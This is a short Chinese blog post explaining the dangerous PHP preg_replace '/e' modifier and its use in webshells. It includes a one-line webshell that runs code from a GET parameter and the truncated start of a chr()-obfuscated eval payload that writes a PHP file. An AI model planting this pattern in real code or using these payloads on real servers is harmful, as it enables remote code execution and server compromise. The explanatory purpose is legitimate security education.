php preg replace e,关于 preg_replace 危险的“/e”修饰符

PHP preg_replace() 正则替换,与Javascript 正则替换不同,PHP preg_replace() 默认就是替换所有符号匹配条件的元素。而函数中的 /e 这个修饰符的意思就是让 正则替换之后将 replacement 参数当作 PHP 代码。该用法常在 PHP webshell 中出现。

preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit] )

特别说明:

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后);但在 PHP5.5 以上的版本中已被弃用,使用preg_replace_callback 代替

提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

举例:

preg_replace("/.*/e",$_GET["h"],".");

?>

上例中,如果我们提交?h=phpinfo(),phpinfo()将会被执行。

如果我们提交下面的代码会怎么样呢?

?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97)

.chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部